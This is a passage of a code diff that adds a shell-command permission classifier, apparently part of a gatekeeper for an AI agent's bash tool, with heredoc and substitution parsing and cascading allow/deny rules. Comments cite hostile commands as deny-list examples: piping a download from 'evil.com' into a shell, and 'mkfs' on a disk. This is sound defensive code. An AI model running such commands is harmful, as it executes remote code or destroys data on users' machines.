* - Double-quoted: `<<"EOF"` — same as single-quoted for our purposes.
|
|
975
|
+
* - Backslash-escaped first character: `<<\EOF` — leading backslash stripped.
|
|
976
|
+
*/
|
|
977
|
+
function tryMatchHeredocDelimiter(input, start) {
|
|
978
|
+
if (start >= input.length) {
|
|
979
|
+
return null;
|
|
980
|
+
}
|
|
981
|
+
let i = start;
|
|
982
|
+
// Quoted delimiter: <<'EOF' or <<"EOF" — strip surrounding quotes, body is literal.
|
|
983
|
+
const quote = input[i];
|
|
984
|
+
if (quote === "'" || quote === '"') {
|
|
985
|
+
i += 1;
|
|
986
|
+
const delimStart = i;
|
|
987
|
+
while (i < input.length && input[i] !== quote) {
|
|
988
|
+
i += 1;
|
|
989
|
+
}
|
|
990
|
+
if (i >= input.length) {
|
|
991
|
+
return null;
|
|
992
|
+
}
|
|
993
|
+
const delim = input.slice(delimStart, i);
|
|
994
|
+
i += 1; // skip closing quote
|
|
995
|
+
if (delim.length === 0) {
|
|
996
|
+
return null;
|
|
997
|
+
}
|
|
998
|
+
return { delimiter: delim, length: i - start };
|
|
999
|
+
}
|
|
1000
|
+
// Backslash-escaped first char: <<\EOF — strip the backslash.
|
|
1001
|
+
if (input[i] === "\\") {
|
|
1002
|
+
i += 1;
|
|
1003
|
+
if (i >= input.length) {
|
|
1004
|
+
return null;
|
|
1005
|
+
}
|
|
1006
|
+
}
|
|
1007
|
+
// Bare-word delimiter: <<EOF — at least one [A-Za-z0-9_] character.
|
|
1008
|
+
const delimStart = i;
|
|
1009
|
+
while (i < input.length && /[A-Za-z0-9_]/.test(input[i])) {
|
|
1010
|
+
i += 1;
|
|
1011
|
+
}
|
|
1012
|
+
if (i === delimStart) {
|
|
1013
|
+
return null;
|
|
1014
|
+
}
|
|
1015
|
+
return { delimiter: input.slice(delimStart, i), length: i - start };
|
|
1016
|
+
}
|
|
1017
|
+
/**
|
|
1018
|
+
* Peek ahead from index `i` and report whether a heredoc opener (`<<DELIM`) starts there. Returns
|
|
1019
|
+
* `null` when the position is inside a quoted region, when the opener is actually a herestring
|
|
1020
|
+
* (`<<<`), or when no valid delimiter follows `<<`.
|
|
1021
|
+
*
|
|
1022
|
+
* Returned `length` covers the FULL opener token (`<<DELIM`), so the caller advances `i` in one
|
|
1023
|
+
* step. Mirrors {@link tryMatchOperator}'s shape so the main loop's branch list stays declarative.
|
|
1024
|
+
*/
|
|
1025
|
+
function tryMatchHeredocOpener(input, i, inSingle, inDouble) {
|
|
1026
|
+
if (inSingle || inDouble) {
|
|
1027
|
+
return null;
|
|
1028
|
+
}
|
|
1029
|
+
if (i + 1 >= input.length || input[i] !== "<" || input[i + 1] !== "<") {
|
|
1030
|
+
return null;
|
|
1031
|
+
}
|
|
1032
|
+
// Herestring `<<<` is NOT a heredoc opener — inline body stays on the same line as parent.
|
|
1033
|
+
if (i + 2 < input.length && input[i + 2] === "<") {
|
|
1034
|
+
return null;
|
|
1035
|
+
}
|
|
1036
|
+
const delim = tryMatchHeredocDelimiter(input, i + 2);
|
|
1037
|
+
if (delim === null) {
|
|
1038
|
+
return null;
|
|
1039
|
+
}
|
|
1040
|
+
return { delimiter: delim.delimiter, length: 2 + delim.length };
|
|
1041
|
+
}
|
|
1042
|
+
/**
|
|
1043
|
+
* Walk a heredoc body starting at `startIndex` until the delimiter is matched on its own line or
|
|
1044
|
+
* EOF is reached. Body text is opaque (no quote/escape/operator processing). When the delimiter
|
|
1045
|
+
* line is matched, the delimiter is appended to `body` so the segment surface reads
|
|
1046
|
+
* `cat <<EOF\n...body...\nEOF` (opener + body + closing delimiter); the surrounding newline is
|
|
1047
|
+
* NOT consumed — the caller re-processes it through the main loop so post-heredoc content
|
|
1048
|
+
* (operators, spaces, etc.) parses normally.
|
|
1049
|
+
*
|
|
1050
|
+
* Returned `body` is appended verbatim to the current segment buffer. `endIndex` is where the
|
|
1051
|
+
* caller resumes; `closed` is `true` when the delimiter was matched (caller clears body mode).
|
|
1052
|
+
*/
|
|
1053
|
+
function consumeHeredocBody(cmd, startIndex, delimiter) {
|
|
1054
|
+
let i = startIndex;
|
|
1055
|
+
let line = "";
|
|
1056
|
+
let body = "";
|
|
1057
|
+
while (i < cmd.length) {
|
|
1058
|
+
const c = cmd[i];
|
|
1059
|
+
if (line === delimiter) {
|
|
1060
|
+
// Delimiter matched on its own line — append the delimiter literal and let the caller
|
|
1061
|
+
// re-process the surrounding newline as normal post-heredoc content.
|
|
1062
|
+
body += delimiter;
|
|
1063
|
+
return { body, endIndex: i, closed: true };
|
|
1064
|
+
}
|
|
1065
|
+
if (c === "\n") {
|
|
1066
|
+
body += `${line}\n`;
|
|
1067
|
+
line = "";
|
|
1068
|
+
}
|
|
1069
|
+
else {
|
|
1070
|
+
line += c;
|
|
1071
|
+
}
|
|
1072
|
+
i += 1;
|
|
1073
|
+
}
|
|
1074
|
+
// EOF: preserve the partial trailing line so the segment carries the full opaque surface.
|
|
1075
|
+
body += line;
|
|
1076
|
+
return { body, endIndex: i, closed: false };
|
|
1077
|
+
}
|
|
1078
|
+
/**
|
|
1079
|
+
* Locate the index of the `)` that matches the `(` at `openIndex` for a command substitution.
|
|
1080
|
+
* Tracks nested `$(` parens (so `$(echo $(whoami))` returns the OUTER `)`) and respects single-
|
|
1081
|
+
* and double-quote regions so a literal `)` inside `'...'` or `"..."` does NOT close the substitution.
|
|
1082
|
+
* Backtick extraction (`echo \`whoami\``) is intentionally NOT handled here — that contract lands in
|
|
1083
|
+
* TSK-002-05 (AC-002-05). Returns `-1` when no matching `)` is found (unterminated substitution), in
|
|
1084
|
+
* which case the caller falls back to literal handling and the end-of-loop commit treats the remainder
|
|
1085
|
+
* as a single segment per the "unmatched $(...) → single segment" edge-case contract.
|
|
1086
|
+
*
|
|
1087
|
+
* `openIndex` is the index of the OPENING `(` (i.e. `cmd.indexOf("$(", i) + 1`). The returned index is
|
|
1088
|
+
* that of the matching CLOSING `)` so the caller can slice `input.slice(openIndex + 1, returned)` to get
|
|
1089
|
+
* the inner content.
|
|
1090
|
+
*/
|
|
1091
|
+
function findMatchingParen(input, openIndex) {
|
|
1092
|
+
let depth = 1;
|
|
1093
|
+
let inSingle = false;
|
|
1094
|
+
let inDouble = false;
|
|
1095
|
+
let i = openIndex + 1;
|
|
1096
|
+
while (i < input.length) {
|
|
1097
|
+
const c = input[i];
|
|
1098
|
+
if (inSingle) {
|
|
1099
|
+
if (c === "'") {
|
|
1100
|
+
inSingle = false;
|
|
1101
|
+
}
|
|
1102
|
+
}
|
|
1103
|
+
else if (inDouble) {
|
|
1104
|
+
if (c === '"') {
|
|
1105
|
+
inDouble = false;
|
|
1106
|
+
}
|
|
1107
|
+
}
|
|
1108
|
+
else {
|
|
1109
|
+
if (c === "'") {
|
|
1110
|
+
inSingle = true;
|
|
1111
|
+
}
|
|
1112
|
+
else if (c === '"') {
|
|
1113
|
+
inDouble = true;
|
|
1114
|
+
}
|
|
1115
|
+
else if (c === "$" && i + 1 < input.length && input[i + 1] === "(") {
|
|
1116
|
+
// Nested `$(` — depth increments so the matching `)` is the OUTER one, not the inner one.
|
|
1117
|
+
depth += 1;
|
|
1118
|
+
i += 1;
|
|
1119
|
+
}
|
|
1120
|
+
else if (c === "(") {
|
|
1121
|
+
depth += 1;
|
|
1122
|
+
}
|
|
1123
|
+
else if (c === ")") {
|
|
1124
|
+
depth -= 1;
|
|
1125
|
+
if (depth === 0) {
|
|
1126
|
+
return i;
|
|
1127
|
+
}
|
|
1128
|
+
}
|
|
1129
|
+
}
|
|
1130
|
+
i += 1;
|
|
1131
|
+
}
|
|
1132
|
+
return -1;
|
|
1133
|
+
}
|
|
1134
|
+
/**
|
|
1135
|
+
* Trim a trailing redirect operator (`<`, `>`, `>>`) and any preceding horizontal whitespace from
|
|
1136
|
+
* `buffer`. Used to clean up the wrapper segment before commit when a `$(...)` substitution follows
|
|
1137
|
+
* a redirect operator — the AC-002-04 fix turns `cmd <` into `cmd` so the emitted wrapper surface is
|
|
1138
|
+
* the bare command, not the redirect artifact.
|
|
1139
|
+
*/
|
|
1140
|
+
function stripTrailingRedirect(buffer, redirectOp) {
|
|
1141
|
+
return buffer.trimEnd().slice(0, -redirectOp.length).trimEnd();
|
|
1142
|
+
}
|
|
1143
|
+
/**
|
|
1144
|
+
* Try to extract a `$(...)` command substitution at position `i`. Returns `null` when the position is
|
|
1145
|
+
* inside a quoted region, when `cmd[i]` is not `$` followed by `(`, or when the substitution is
|
|
1146
|
+
* unterminated (no matching `)`) — in which case the caller falls through to default char handling
|
|
1147
|
+
* and the end-of-loop commit treats the remainder as a single segment per the
|
|
1148
|
+
* "unmatched $(...) → single segment" edge-case contract.
|
|
1149
|
+
*
|
|
1150
|
+
* On success returns `{ inner, endIndex, wrapper }`:
|
|
1151
|
+
* - `inner` is the substitution body, suitable for recursive {@link splitShellSegments}.
|
|
1152
|
+
* - `endIndex` is where the caller should resume (one past the matching `)`).
|
|
1153
|
+
* - `wrapper` is the input buffer prepared for commit — already stripped of any trailing redirect
|
|
1154
|
+
* operator when `lastRedirectOp` is set (subshell redirect branch), or as-is when it is null
|
|
1155
|
+
* (inline substitution branch). `commitSegment` handles the final outer-whitespace trim.
|
|
1156
|
+
*/
|
|
1157
|
+
function tryExtractCommandSubstitution(input, i, buffer, lastRedirectOp, inSingle, inDouble) {
|
|
1158
|
+
if (inSingle || inDouble)
|
|
1159
|
+
return null;
|
|
1160
|
+
if (input[i] !== "$" || i + 1 >= input.length || input[i + 1] !== "(")
|
|
1161
|
+
return null;
|
|
1162
|
+
const openParenIndex = i + 1;
|
|
1163
|
+
const closeParenIndex = findMatchingParen(input, openParenIndex);
|
|
1164
|
+
if (closeParenIndex === -1)
|
|
1165
|
+
return null;
|
|
1166
|
+
const inner = input.slice(openParenIndex + 1, closeParenIndex);
|
|
1167
|
+
const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
|
|
1168
|
+
return { inner, endIndex: closeParenIndex + 1, wrapper };
|
|
1169
|
+
}
|
|
1170
|
+
/**
|
|
1171
|
+
* Try to consume a redirect operator (`<`, `>`, `>>`) at position `i` outside quotes. Returns `null`
|
|
1172
|
+
* when the current character is not a redirect or when inside a quoted region. On success returns
|
|
1173
|
+
* the new buffer (with the operator appended), the next index, and the operator string for
|
|
1174
|
+
* `lastRedirectOp` tracking — a subsequent `$(...)` substitution uses this state to recognize itself
|
|
1175
|
+
* as a subshell redirect (AC-002-04).
|
|
1176
|
+
*
|
|
1177
|
+
* `>>` is matched before single-char `<` / `>` so a `> >` sequence is NOT collapsed into one append.
|
|
1178
|
+
* Heredoc opener detection (`<<`, `<<<`) runs above this helper in the parser loop, so those tokens
|
|
1179
|
+
* are routed to the heredoc path instead of reaching this branch.
|
|
1180
|
+
*/
|
|
1181
|
+
function tryAppendRedirectOp(input, i, buffer, inSingle, inDouble) {
|
|
1182
|
+
if (inSingle || inDouble)
|
|
1183
|
+
return null;
|
|
1184
|
+
const c = input[i];
|
|
1185
|
+
if (c !== "<" && c !== ">")
|
|
1186
|
+
return null;
|
|
1187
|
+
if (c === ">" && i + 1 < input.length && input[i + 1] === ">") {
|
|
1188
|
+
return { buffer: `${buffer}>>`, endIndex: i + 2, lastRedirectOp: ">>" };
|
|
1189
|
+
}
|
|
1190
|
+
return { buffer: buffer + c, endIndex: i + 1, lastRedirectOp: c };
|
|
1191
|
+
}
|
|
1192
|
+
/**
|
|
1193
|
+
* Append `c` to `buffer` and update the redirect-tracker state. Whitespace and newlines preserve
|
|
1194
|
+
* `lastRedirectOp` so `cmd < $(...)` (multiple spaces between `<` and `$(`) still recognizes the
|
|
1195
|
+
* substitution as a subshell redirect. Any other character clears the tracker — `cmd < file.txt
|
|
1196
|
+
* $(more)` correctly treats `$(more)` as an INLINE substitution.
|
|
1197
|
+
*/
|
|
1198
|
+
function appendChar(c, buffer, lastRedirectOp) {
|
|
1199
|
+
const preserves = c === " " || c === "\t" || c === "\n";
|
|
1200
|
+
return { buffer: buffer + c, lastRedirectOp: preserves ? lastRedirectOp : null };
|
|
1201
|
+
}
|
|
1202
|
+
/**
|
|
1203
|
+
* Find the matching closing backtick for a backtick command substitution (`...`).
|
|
1204
|
+
* Handles escaped backticks (\\`). Returns -1 when no matching backtick is found
|
|
1205
|
+
* (unterminated), in which case the caller should treat the remainder as a single segment.
|
|
1206
|
+
*/
|
|
1207
|
+
function findMatchingBacktick(input, openIndex) {
|
|
1208
|
+
let i = openIndex + 1;
|
|
1209
|
+
while (i < input.length) {
|
|
1210
|
+
if (input[i] === "\\" && i + 1 < input.length) {
|
|
1211
|
+
i += 2; // skip escaped char
|
|
1212
|
+
continue;
|
|
1213
|
+
}
|
|
1214
|
+
if (input[i] === "`") {
|
|
1215
|
+
return i;
|
|
1216
|
+
}
|
|
1217
|
+
i += 1;
|
|
1218
|
+
}
|
|
1219
|
+
return -1;
|
|
1220
|
+
}
|
|
1221
|
+
/** ─── Command Classifier and Cascade Resolver (ISS-003) ─── */
|
|
1222
|
+
/**
|
|
1223
|
+
* The cascade walker introduced in TSK-003-02 reuses the module-level `VALID_MODES` tuple at
|
|
1224
|
+
* `src/gatekeeper.ts:81` as its level-order traversal array (low → medium → high for DOWN walks,
|
|
1225
|
+
* high → medium → low for UP walks). The tuple is the single source of truth for the level set —
|
|
1226
|
+
* the cascade walker MUST reference it instead of redeclaring `["low", "medium", "high"]` so a
|
|
1227
|
+
* future level rename propagates from one edit to every walker site.
|
|
1228
|
+
*/
|
|
1229
|
+
/**
|
|
1230
|
+
* Convert a glob pattern (literal text with `*` wildcards) into an anchored RegExp.
|
|
1231
|
+
*
|
|
1232
|
+
* Algorithm:
|
|
1233
|
+
* 1. Escape every regex metacharacter in `pattern` (excluding `*`), so a pattern like
|
|
1234
|
+
* `curl|sh` becomes `curl\|sh` rather than being interpreted as alternation.
|
|
1235
|
+
* 2. Substitute the now-escaped `\*` (which originated from a literal `*` in the input)
|
|
1236
|
+
* with `.*`, so a single `*` matches any run of characters.
|
|
1237
|
+
* 3. Anchor the resulting source with `^...$` so the match is a full-string match,
|
|
1238
|
+
* never a substring match.
|
|
1239
|
+
*
|
|
1240
|
+
* Source anchor: `data-model.md:44-52` (literal / prefix / suffix / middle / catch-all),
|
|
1241
|
+
* `design.md` §"Pattern matching" decision (literal `|`, `&`, `;`, `$` are matched literally,
|
|
1242
|
+
* not as shell operators).
|
|
1243
|
+
*
|
|
1244
|
+
* Exported so tests can assert the regex shape directly (e.g. that the result is anchored,
|
|
1245
|
+
* that wildcards produce `.*`, and that regex metachars in the literal portion are escaped).
|
|
1246
|
+
*/
|
|
1247
|
+
export function globToRegex(pattern) {
|
|
1248
|
+
const escaped = pattern.replace(/[.+?^${}()|[\]\\*]/g, "\\$&");
|
|
1249
|
+
const withWildcards = escaped.replace(/\\\*/g, ".*");
|
|
1250
|
+
return new RegExp(`^${withWildcards}$`);
|
|
1251
|
+
}
|
|
1252
|
+
/** Full-string anchored glob match (never substring); case-sensitive. Wraps {@link globToRegex}. */
|
|
1253
|
+
export function matchGlob(pattern, input) {
|
|
1254
|
+
return globToRegex(pattern).test(input);
|
|
1255
|
+
}
|
|
1256
|
+
/**
|
|
1257
|
+
* Public thin wrapper over {@link findFirstMatch}. Preserves the historic return shape
|
|
1258
|
+
* (`{ matched: true, pattern }` on hit; `{ matched: false }` on miss with no `pattern`
|
|
1259
|
+
* field) used by external callers and regression tests in `test/classifier.test.ts`.
|
|
1260
|
+
* The walker logic itself lives in `findFirstMatch` so cascade walkers,
|
|
1261
|
+
* explicit-pass evaluation, and the public API all share one iteration primitive.
|
|
1262
|
+
*
|
|
1263
|
+
* Implements `data-model.md:61` first-match-wins semantics — an earlier literal pattern in
|
|
1264
|
+
* the list wins over a later wildcard even when both would match.
|
|
1265
|
+
*
|
|
1266
|
+
* Source anchor: `tasks.md` TSK-003-01 (matchSegmentAgainstList contract).
|
|
1267
|
+
*/
|
|
1268
|
+
export function matchSegmentAgainstList(segment, patterns) {
|
|
1269
|
+
const result = findFirstMatch(segment, patterns);
|
|
1270
|
+
return result.matched ? { matched: true, pattern: result.pattern } : { matched: false };
|
|
1271
|
+
}
|
|
1272
|
+
/**
|
|
1273
|
+
* Find the first matching pattern in `patterns`, returning both the matched pattern and the
|
|
1274
|
+
* index where it appeared. Single walker primitive for first-match-wins semantics — exposed
|
|
1275
|
+
* {@link matchSegmentAgainstList} and {@link evaluateExplicit} both delegate here so the
|
|
1276
|
+
* cascade walker, the explicit-pass evaluator, and the public API share one iteration loop.
|
|
1277
|
+
*
|
|
1278
|
+
* The matched index flows out so callers can surface "earlier patterns did not match"
|
|
1279
|
+
* diagnostic context in the reason text — {@link explicitReason} uses it to cite the skipped
|
|
1280
|
+
* entries under first-match-wins (`data-model.md:61`).
|
|
1281
|
+
*/
|
|
1282
|
+
function findFirstMatch(segment, patterns) {
|
|
1283
|
+
for (let i = 0; i < patterns.length; i += 1) {
|
|
1284
|
+
if (matchGlob(patterns[i], segment)) {
|
|
1285
|
+
return { matched: true, pattern: patterns[i], index: i };
|
|
1286
|
+
}
|
|
1287
|
+
}
|
|
1288
|
+
return { matched: false };
|
|
1289
|
+
}
|
|
1290
|
+
/**
|
|
1291
|
+
* Build the reason string for an explicit-pass match at the current level. Includes the
|
|
1292
|
+
* matched pattern and, when `matchIndex > 0`, a parenthetical listing the earlier patterns
|
|
1293
|
+
* that did not match. The "earlier patterns" clause is the diagnostic anchor the cascade
|
|
1294
|
+
* tests rely on to verify first-match-wins semantics — e.g. when the matched pattern is
|
|
1295
|
+
* `'foo bar'` and an earlier `'foo'` did not match, the reason surfaces both so the FLOW-07
|
|
1296
|
+
* prompt preview and FLOW-08 audit trail can attribute the decision.
|
|
1297
|
+
*/
|
|
1298
|
+
function explicitReason(action, level, matched, matchIndex, patterns) {
|
|
1299
|
+
if (matchIndex === 0) {
|
|
1300
|
+
return `${action} at ${level} matched '${matched}'`;
|
|
1301
|
+
}
|
|
1302
|
+
const earlier = patterns
|
|
1303
|
+
.slice(0, matchIndex)
|
|
1304
|
+
.map((p) => `'${p}'`)
|
|
1305
|
+
.join(", ");
|
|
1306
|
+
return `${action} at ${level} matched '${matched}' (earlier ${earlier} did not match)`;
|
|
1307
|
+
}
|
|
1308
|
+
/**
|
|
1309
|
+
* Build the reason string for a cascade-inherited match. Mirrors {@link explicitReason}'s
|
|
1310
|
+
* shape so both reason helpers stay symmetric — the explicit-pass and cascade-walk reason
|
|
1311
|
+
* formats now share the same `'<pattern>'` quoting convention and the same `cascade /
|
|
1312
|
+
* explicit` lexical marker that `cascade.test.ts` relies on to distinguish cascaded
|
|
1313
|
+
* decisions from explicit per-level matches.
|
|
1314
|
+
*
|
|
1315
|
+
* Format: `cascade <action> from <level> via '<pattern>'`. The substring `cascade` and the
|
|
1316
|
+
* `from <level>` anchor are what FLOW-07's prompt preview and the cascade regression tests
|
|
1317
|
+
* grep for to attribute a cascaded decision to its origin level.
|
|
1318
|
+
*/
|
|
1319
|
+
function cascadeReason(action, level, matched) {
|
|
1320
|
+
return `cascade ${action} from ${level} via '${matched}'`;
|
|
1321
|
+
}
|
|
1322
|
+
const EXPLICIT_ACTION_ORDER = ["deny", "allow", "ask"];
|
|
1323
|
+
/**
|
|
1324
|
+
* Explicit-pass evaluation at the current level. Iterates {@link EXPLICIT_ACTION_ORDER} and
|
|
1325
|
+
* returns the first matched action as a fully-formed {@link PermissionDecision}, or `null` when
|
|
1326
|
+
* no rule at the current level matches. Single source of truth for the deny → allow → ask
|
|
1327
|
+
* evaluation order; replacing three near-identical branches with one loop eliminates the
|
|
1328
|
+
* duplication that the GREEN-phase inline form left behind.
|
|
1329
|
+
*/
|
|
1330
|
+
function evaluateExplicit(segment, mode, levelRules) {
|
|
1331
|
+
for (const action of EXPLICIT_ACTION_ORDER) {
|
|
1332
|
+
const match = findFirstMatch(segment, levelRules[action]);
|
|
1333
|
+
if (match.matched) {
|
|
1334
|
+
return {
|
|
1335
|
+
decision: action,
|
|
1336
|
+
reason: explicitReason(action, mode, match.pattern, match.index, levelRules[action]),
|
|
1337
|
+
};
|
|
1338
|
+
}
|
|
1339
|
+
}
|
|
1340
|
+
return null;
|
|
1341
|
+
}
|
|
1342
|
+
/**
|
|
1343
|
+
* DOWN-for-allow cascade walk. Starting at the level immediately below `mode`, walks toward
|
|
1344
|
+
* `low` (the lowest-indexed entry in {@link VALID_MODES}) checking each level's `allow` list.
|
|
1345
|
+
* The first match returns an `{ decision: "allow", reason: "cascade allow from <level> via '<pattern>'" }`.
|
|
1346
|
+
* Returns `null` when no level carries a matching allow pattern (caller proceeds to UP-for-deny).
|
|
1347
|
+
* Loop bounds are empty at `mode === "low"` (modeIdx - 1 < 0) — boundary case handled by the
|
|
1348
|
+
* standard for-loop contract, no special branch required.
|
|
1349
|
+
*/
|
|
1350
|
+
function walkCascadeDownForAllow(segment, rules, modeIdx) {
|
|
1351
|
+
for (let i = modeIdx - 1; i >= 0; i -= 1) {
|
|
1352
|
+
const level = VALID_MODES[i];
|
|
1353
|
+
const match = findFirstMatch(segment, rules.rules[level].allow);
|
|
1354
|
+
if (match.matched) {
|
|
1355
|
+
return {
|
|
1356
|
+
decision: "allow",
|
|
1357
|
+
reason: cascadeReason("allow", level, match.pattern),
|
|
1358
|
+
};
|
|
1359
|
+
}
|
|
1360
|
+
}
|
|
1361
|
+
return null;
|
|
1362
|
+
}
|
|
1363
|
+
/**
|
|
1364
|
+
* UP-for-deny cascade walk. Starting at the level immediately above `mode`, walks toward
|
|
1365
|
+
* `high` (the highest-indexed entry in {@link VALID_MODES}) checking each level's `deny` list.
|
|
1366
|
+
* The first match returns an `{ decision: "deny", reason: "cascade deny from <level> via '<pattern>'" }`.
|
|
1367
|
+
* Returns `null` when no level carries a matching deny pattern (caller proceeds to default ask).
|
|
1368
|
+
* Loop bounds are empty at `mode === "high"` — boundary case handled by the standard for-loop contract.
|
|
1369
|
+
*/
|
|
1370
|
+
function walkCascadeUpForDeny(segment, rules, modeIdx) {
|
|
1371
|
+
for (let i = modeIdx + 1; i < VALID_MODES.length; i += 1) {
|
|
1372
|
+
const level = VALID_MODES[i];
|
|
1373
|
+
const match = findFirstMatch(segment, rules.rules[level].deny);
|
|
1374
|
+
if (match.matched) {
|
|
1375
|
+
return {
|
|
1376
|
+
decision: "deny",
|
|
1377
|
+
reason: cascadeReason("deny", level, match.pattern),
|
|
1378
|
+
};
|
|
1379
|
+
}
|
|
1380
|
+
}
|
|
1381
|
+
return null;
|
|
1382
|
+
}
|
|
1383
|
+
/**
|
|
1384
|
+
* Cascade resolver for a single shell segment. Implements `data-model.md:347-352`
|
|
1385
|
+
* (allow cascades DOWN through lower levels, deny cascades UP through higher levels,
|
|
1386
|
+
* explicit per-level rules override cascade-inherited decisions, default `ask`).
|
|
1387
|
+
*
|
|
1388
|
+
* Algorithm (four stops, fixed order, each delegated to a named helper):
|
|
1389
|
+
* 1. {@link evaluateExplicit} — deny → allow → ask at `mode`, first-match-wins.
|
|
1390
|
+
* 2. {@link walkCascadeDownForAllow} — visit lower-indexed levels' allow lists (allow cascades DOWN).
|
|
1391
|
+
* 3. {@link walkCascadeUpForDeny} — visit higher-indexed levels' deny lists (deny cascades UP).
|
|
1392
|
+
* 4. Default ask when every cascade stop exhausts without a match.
|
|
1393
|
+
*
|
|
1394
|
+
* Level-order tuple reused from the module-level `VALID_MODES` (`src/gatekeeper.ts:81`),
|
|
1395
|
+
* the single source of truth for the level set; the walker references the tuple instead of
|
|
1396
|
+
* redeclaring `["low", "medium", "high"]` so a future mode rename propagates from one edit.
|
|
1397
|
+
*
|
|
1398
|
+
* Source anchor: `tasks.md` TSK-003-02 (classifySegment contract),
|
|
1399
|
+
* `data-model.md:347-352` (cascade algorithm), `data-model.md:60-64` (cascade semantics),
|
|
1400
|
+
* `constitution.md §1.5` (cascade direction).
|
|
1401
|
+
*
|
|
1402
|
+
* @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
|
|
1403
|
+
* handler (ISS-005); `classifySegment` is not invoked with `mode === "off"` and the
|
|
1404
|
+
* `PermissionLevel` type excludes `"off"` from its union.
|
|
1405
|
+
*/
|
|
1406
|
+
export function classifySegment(segment, mode, rules) {
|
|
1407
|
+
const levelRules = rules.rules[mode];
|
|
1408
|
+
const modeIdx = VALID_MODES.indexOf(mode);
|
|
1409
|
+
const explicit = evaluateExplicit(segment, mode, levelRules);
|
|
1410
|
+
if (explicit !== null)
|
|
1411
|
+
return explicit;
|
|
1412
|
+
const cascadeAllow = walkCascadeDownForAllow(segment, rules, modeIdx);
|
|
1413
|
+
if (cascadeAllow !== null)
|
|
1414
|
+
return cascadeAllow;
|
|
1415
|
+
const cascadeDeny = walkCascadeUpForDeny(segment, rules, modeIdx);
|
|
1416
|
+
if (cascadeDeny !== null)
|
|
1417
|
+
return cascadeDeny;
|
|
1418
|
+
return { decision: "ask", reason: "no rule matched at any cascade level" };
|
|
1419
|
+
}
|
|
1420
|
+
/**
|
|
1421
|
+
* Build the union deny-list used by {@link classifyCommand}'s ALWAYS_DENY pre-check. Spans all
|
|
1422
|
+
* three levels' `deny` arrays in fixed insertion order (low → medium → high) and deduplicates
|
|
1423
|
+
* via `Set` so the same pattern defined at multiple levels does not inflate the comparison list.
|
|
1424
|
+
* `Set` preserves insertion order so the matcher is deterministic — a pattern at low is checked
|
|
1425
|
+
* before the same pattern at medium before the same pattern at high.
|
|
1426
|
+
*
|
|
1427
|
+
* Source anchor: `constitution §1.4 v0.4.0` (deny-by-default safety floor — union of all levels).
|
|
1428
|
+
*/
|
|
1429
|
+
function unionDenyPatterns(rules) {
|
|
1430
|
+
return [
|
|
1431
|
+
...new Set([...rules.rules.low.deny, ...rules.rules.medium.deny, ...rules.rules.high.deny]),
|
|
1432
|
+
];
|
|
1433
|
+
}
|
|
1434
|
+
/**
|
|
1435
|
+
* Loose matcher used exclusively by {@link classifyCommand}'s ALWAYS_DENY pre-check. Differs from
|
|
1436
|
+
* {@link matchGlob} in two important ways so cross-segment attack patterns like `curl|sh` are
|
|
1437
|
+
* caught before per-segment evaluation:
|
|
1438
|
+
*
|
|
1439
|
+
* 1. **Substring semantics** — the pattern matches anywhere in the input rather than requiring
|
|
1440
|
+
* a full-string anchored match. This is what allows `mkfs` (a literal pattern with no
|
|
1441
|
+
* wildcards) to match `mkfs /dev/sda1` (the input has trailing arguments after `mkfs`).
|
|
1442
|
+
* Without substring semantics, a literal `mkfs` pattern would only match the exact string
|
|
1443
|
+
* `mkfs`, missing every realistic invocation. The per-segment matcher in
|
|
1444
|
+
* {@link classifySegment} retains anchored semantics for cascade-correctness — this looser
|
|
1445
|
+
* matcher is reserved for the cross-segment safety floor.
|
|
1446
|
+
* 2. **`|` is treated as a wildcard** — the `|` character in a pattern is interpreted as
|
|
1447
|
+
* `.*` (matching any run of characters) rather than as a literal pipe. This is what allows
|
|
1448
|
+
* the pattern `curl|sh` to match the input `curl http://evil.com | sh`: the `|` in the
|
|
1449
|
+
* pattern consumes ` http://evil.com ` and the literals `curl` and `sh` bookend the
|
|
1450
|
+
* cross-segment pipe. `data-model.md:53` says literal `|` is matched as a literal character
|
|
1451
|
+
* for per-segment rules; this is the per-segment contract. The ALWAYS_DENY pre-check
|
|
1452
|
+
* deliberately uses the looser interpretation because the cross-segment attack patterns
|
|
1453
|
+
* (`curl|sh`, `wget|sh`) are written with `|` as a semantic "piped-to" marker, not as a
|
|
1454
|
+
* literal pipe character the user expects to match verbatim.
|
|
1455
|
+
*
|
|
1456
|
+
* Algorithm (mirrors {@link globToRegex} but with the two differences above):
|
|
1457
|
+
* 1. Escape every regex metacharacter in `pattern` EXCEPT `*` and `|`.
|
|
1458
|
+
* 2. Substitute `*` with `.*` and `|` with `.*`.
|
|
1459
|
+
* 3. Wrap with `.*` on both sides and anchor with `^...$` — producing a substring match.
|
|
1460
|
+
*
|
|
1461
|
+
* Exported for testability so the loose semantics can be locked by future tests if needed.
|
|
1462
|
+
*/
|
|
1463
|
+
export function matchAlwaysDenyPattern(pattern, input) {
|
|
1464
|
+
const escaped = pattern.replace(/[.+?^${}()|[\]\\]/g, "\\$&");
|
|
1465
|
+
const wildcards = escaped.replace(/\\\*/g, ".*").replace(/\\\|/g, ".*");
|
|
1466
|
+
return new RegExp(`^.*${wildcards}.*$`).test(input);
|
|
1467
|
+
}
|
|
1468
|
+
/**
|
|
1469
|
+
* Walk the union deny-list top-to-bottom and return the first pattern that matches `command`
|
|
1470
|
+
* via {@link matchAlwaysDenyPattern} (the loose substring matcher). Mirrors
|
|
1471
|
+
* {@link matchSegmentAgainstList}'s iteration order so the ALWAYS_DENY pre-check is
|
|
1472
|
+
* deterministic — patterns at low are checked before patterns at medium, then high.
|
|
1473
|
+
*
|
|
1474
|
+
* Returns `{ matched: false }` when no pattern matches (or when the union is empty).
|
|
1475
|
+
*/
|
|
1476
|
+
function matchCommandAgainstUnionDeny(command, union) {
|
|
1477
|
+
for (const pattern of union) {
|
|
1478
|
+
if (matchAlwaysDenyPattern(pattern, command)) {
|
|
1479
|
+
return { matched: true, pattern };
|
|
1480
|
+
}
|
|
1481
|
+
}
|
|
1482
|
+
return { matched: false };
|
|
1483
|
+
}
|
|
1484
|
+
/**
|
|
1485
|
+
* Top-level command classification pipeline. Implements FR-003 (Command Classifier) end-to-end:
|
|
1486
|
+
*
|
|
1487
|
+
* 1. ALWAYS_DENY pre-check — union of all three levels' `deny` lists matched against the FULL
|
|
1488
|
+
* command string. Catches cross-segment attack patterns like `curl|sh` that no per-segment
|
|
1489
|
+
* matcher could detect (per-segment evaluation would split `curl ... | sh` into
|
|
1490
|
+
